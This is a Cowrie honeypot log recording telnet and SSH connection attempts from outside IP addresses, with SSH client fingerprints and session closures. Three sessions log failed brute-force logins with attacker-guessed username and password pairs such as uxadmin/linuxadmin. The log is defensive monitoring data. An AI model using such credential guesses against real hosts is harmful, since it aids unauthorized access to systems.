{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":48880,"dst_ip":"10.17.0.5","dst_port":23,"session":"111ad546b507","protocol":"telnet","message":"New connection: 69.65.3.189:48880 (10.17.0.5:23) [session: 111ad546b507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:03.949451Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":42986,"dst_ip":"159.203.135.109","dst_port":23,"session":"da3fd76e2090","protocol":"telnet","message":"New connection: 69.6.196.124:42986 (159.203.135.109:23) [session: da3fd76e2090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:04.586294Z"}
{"eventid":"cowrie.session.closed","duration":31.257192373275757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:06.463033Z","src_ip":"69.6.196.124","session":"2c591285bf21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.53.58.141","src_port":36212,"dst_ip":"10.17.0.5","dst_port":23,"session":"6361dd30d19f","protocol":"telnet","message":"New connection: 185.53.58.141:36212 (10.17.0.5:23) [session: 6361dd30d19f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:15.454657Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41726,"dst_ip":"159.203.135.109","dst_port":23,"session":"8451c73aaa00","protocol":"telnet","message":"New connection: 69.6.196.124:41726 (159.203.135.109:23) [session: 8451c73aaa00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:20.784887Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41748,"dst_ip":"159.203.135.109","dst_port":23,"session":"e873865691a7","protocol":"telnet","message":"New connection: 69.6.196.124:41748 (159.203.135.109:23) [session: e873865691a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:21.879163Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41736,"dst_ip":"159.203.135.109","dst_port":23,"session":"8634282e2fae","protocol":"telnet","message":"New connection: 69.6.196.124:41736 (159.203.135.109:23) [session: 8634282e2fae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:22.404201Z"}
{"eventid":"cowrie.session.closed","duration":30.81162714958191,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:24.377989Z","src_ip":"69.6.196.124","session":"e2a280e29d66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41760,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5651a78c018","protocol":"telnet","message":"New connection: 69.6.196.124:41760 (159.203.135.109:23) [session: a5651a78c018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:24.401935Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41770,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ac105ccd844","protocol":"telnet","message":"New connection: 69.6.196.124:41770 (159.203.135.109:23) [session: 8ac105ccd844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:25.831376Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41786,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdd720e98327","protocol":"telnet","message":"New connection: 69.6.196.124:41786 (159.203.135.109:23) [session: fdd720e98327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:26.591275Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41762,"dst_ip":"159.203.135.109","dst_port":23,"session":"367db6b8f9bb","protocol":"telnet","message":"New connection: 69.6.196.124:41762 (159.203.135.109:23) [session: 367db6b8f9bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:26.691202Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":51414,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae9d11076433","protocol":"ssh","message":"New connection: 201.184.50.251:51414 (10.17.0.5:22) [session: ae9d11076433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:26.884835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:26.890930Z","src_ip":"201.184.50.251","session":"ae9d11076433","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:26.982464Z","src_ip":"201.184.50.251","session":"ae9d11076433","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"userlog","password":"userlog123","message":"login attempt [userlog/userlog123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:27.378490Z","src_ip":"201.184.50.251","session":"ae9d11076433","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:28.472082Z","src_ip":"201.184.50.251","session":"ae9d11076433","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.00773549079895,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:28.601879Z","src_ip":"69.6.196.124","session":"9788e23f64e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51384,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ab7cabf19d5","protocol":"telnet","message":"New connection: 69.6.196.124:51384 (159.203.135.109:23) [session: 3ab7cabf19d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:30.850832Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51388,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1f510be86a8","protocol":"telnet","message":"New connection: 69.6.196.124:51388 (159.203.135.109:23) [session: d1f510be86a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:30.901687Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51394,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a234ef82606","protocol":"telnet","message":"New connection: 69.6.196.124:51394 (159.203.135.109:23) [session: 5a234ef82606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:31.249480Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51404,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ff03e811778","protocol":"telnet","message":"New connection: 69.6.196.124:51404 (159.203.135.109:23) [session: 0ff03e811778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:31.879642Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51412,"dst_ip":"159.203.135.109","dst_port":23,"session":"a41fc2bd016f","protocol":"telnet","message":"New connection: 69.6.196.124:51412 (159.203.135.109:23) [session: a41fc2bd016f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:32.884722Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":57750,"dst_ip":"10.17.0.5","dst_port":22,"session":"813205b31ce8","protocol":"ssh","message":"New connection: 103.13.206.100:57750 (10.17.0.5:22) [session: 813205b31ce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:33.185073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:33.189882Z","src_ip":"103.13.206.100","session":"813205b31ce8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51414,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5c8c3b45bb3","protocol":"telnet","message":"New connection: 69.6.196.124:51414 (159.203.135.109:23) [session: d5c8c3b45bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:33.311264Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:33.430701Z","src_ip":"103.13.206.100","session":"813205b31ce8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51416,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0b3d7397057","protocol":"telnet","message":"New connection: 69.6.196.124:51416 (159.203.135.109:23) [session: a0b3d7397057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:33.782913Z"}
{"eventid":"cowrie.login.failed","username":"uxadmin","password":"linuxadmin","message":"login attempt [uxadmin/linuxadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:34.440126Z","src_ip":"103.13.206.100","session":"813205b31ce8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51442,"dst_ip":"159.203.135.109","dst_port":23,"session":"60fd7d569f84","protocol":"telnet","message":"New connection: 69.6.196.124:51442 (159.203.135.109:23) [session: 60fd7d569f84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:34.937418Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51432,"dst_ip":"159.203.135.109","dst_port":23,"session":"5525bb7fc342","protocol":"telnet","message":"New connection: 69.6.196.124:51432 (159.203.135.109:23) [session: 5525bb7fc342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:35.082912Z"}
{"eventid":"cowrie.session.closed","duration":30.862372636795044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:35.448540Z","src_ip":"69.6.196.124","session":"da3fd76e2090","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:35.683480Z","src_ip":"103.13.206.100","session":"813205b31ce8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51458,"dst_ip":"159.203.135.109","dst_port":23,"session":"39552a8e6a25","protocol":"telnet","message":"New connection: 69.6.196.124:51458 (159.203.135.109:23) [session: 39552a8e6a25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:37.060682Z"}
{"eventid":"cowrie.session.closed","duration":35.93170976638794,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:39.881029Z","src_ip":"69.65.3.189","session":"111ad546b507","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51468,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce67e99f51df","protocol":"telnet","message":"New connection: 69.6.196.124:51468 (159.203.135.109:23) [session: ce67e99f51df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:40.106829Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":44556,"dst_ip":"159.203.135.109","dst_port":23,"session":"b333ac3a4f4f","protocol":"telnet","message":"New connection: 69.6.196.124:44556 (159.203.135.109:23) [session: b333ac3a4f4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:40.696832Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":44570,"dst_ip":"159.203.135.109","dst_port":23,"session":"65c927120783","protocol":"telnet","message":"New connection: 69.6.196.124:44570 (159.203.135.109:23) [session: 65c927120783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:42.411230Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":44572,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f0bad57de3c","protocol":"telnet","message":"New connection: 69.6.196.124:44572 (159.203.135.109:23) [session: 8f0bad57de3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:42.820780Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":44582,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b8715c97c0e","protocol":"telnet","message":"New connection: 69.6.196.124:44582 (159.203.135.109:23) [session: 3b8715c97c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:44.147553Z"}
{"eventid":"cowrie.session.closed","duration":28.753948211669922,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:44.208470Z","src_ip":"185.53.58.141","session":"6361dd30d19f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":43182,"dst_ip":"159.203.135.109","dst_port":23,"session":"e109d6eb2925","protocol":"telnet","message":"New connection: 69.6.196.124:43182 (159.203.135.109:23) [session: e109d6eb2925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:49.828781Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":43196,"dst_ip":"159.203.135.109","dst_port":23,"session":"40cca794f9f2","protocol":"telnet","message":"New connection: 69.6.196.124:43196 (159.203.135.109:23) [session: 40cca794f9f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:50.082570Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":43176,"dst_ip":"159.203.135.109","dst_port":23,"session":"81059d9c885b","protocol":"telnet","message":"New connection: 69.6.196.124:43176 (159.203.135.109:23) [session: 81059d9c885b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:50.731185Z"}
{"eventid":"cowrie.session.closed","duration":30.790955543518066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:51.575672Z","src_ip":"69.6.196.124","session":"8451c73aaa00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.424655437469482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:52.303687Z","src_ip":"69.6.196.124","session":"e873865691a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":43200,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5d90569b7f3","protocol":"telnet","message":"New connection: 69.6.196.124:43200 (159.203.135.109:23) [session: a5d90569b7f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:52.470350Z"}
{"eventid":"cowrie.session.closed","duration":31.114162921905518,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:53.518034Z","src_ip":"69.6.196.124","session":"8634282e2fae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":43204,"dst_ip":"159.203.135.109","dst_port":23,"session":"d615377ac6c4","protocol":"telnet","message":"New connection: 69.6.196.124:43204 (159.203.135.109:23) [session: d615377ac6c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:53.764898Z"}
{"eventid":"cowrie.session.closed","duration":31.24678921699524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:55.648601Z","src_ip":"69.6.196.124","session":"a5651a78c018","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46686601638794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:56.298118Z","src_ip":"69.6.196.124","session":"8ac105ccd844","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":43220,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbab7b3901f3","protocol":"telnet","message":"New connection: 69.6.196.124:43220 (159.203.135.109:23) [session: bbab7b3901f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:56.362602Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":43228,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a50c7929797","protocol":"telnet","message":"New connection: 69.6.196.124:43228 (159.203.135.109:23) [session: 8a50c7929797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:57.353750Z"}
{"eventid":"cowrie.session.closed","duration":31.21254253387451,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:57.903626Z","src_ip":"69.6.196.124","session":"367db6b8f9bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.65206027030945,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:58.243170Z","src_ip":"69.6.196.124","session":"fdd720e98327","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":40746,"dst_ip":"10.17.0.5","dst_port":22,"session":"82b4d9bca5db","protocol":"ssh","message":"New connection: 41.63.62.103:40746 (10.17.0.5:22) [session: 82b4d9bca5db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:59.869724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:42:59.874679Z","src_ip":"41.63.62.103","session":"82b4d9bca5db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":43250,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a2747aed259","protocol":"telnet","message":"New connection: 69.6.196.124:43250 (159.203.135.109:23) [session: 5a2747aed259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:00.078849Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:00.162347Z","src_ip":"41.63.62.103","session":"82b4d9bca5db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":43234,"dst_ip":"159.203.135.109","dst_port":23,"session":"075c4c592f03","protocol":"telnet","message":"New connection: 69.6.196.124:43234 (159.203.135.109:23) [session: 075c4c592f03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:00.746263Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":59052,"dst_ip":"159.203.135.109","dst_port":23,"session":"22039c4999b8","protocol":"telnet","message":"New connection: 69.6.196.124:59052 (159.203.135.109:23) [session: 22039c4999b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:01.264434Z"}
{"eventid":"cowrie.login.failed","username":"user02","password":"user021","message":"login attempt [user02/user021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:01.270022Z","src_ip":"41.63.62.103","session":"82b4d9bca5db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":59044,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dc1a9b0b2dc","protocol":"telnet","message":"New connection: 69.6.196.124:59044 (159.203.135.109:23) [session: 9dc1a9b0b2dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:01.775841Z"}
{"eventid":"cowrie.session.closed","duration":30.961978435516357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:01.812706Z","src_ip":"69.6.196.124","session":"3ab7cabf19d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12522554397583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:02.026789Z","src_ip":"69.6.196.124","session":"d1f510be86a8","protocol":"telnet"}
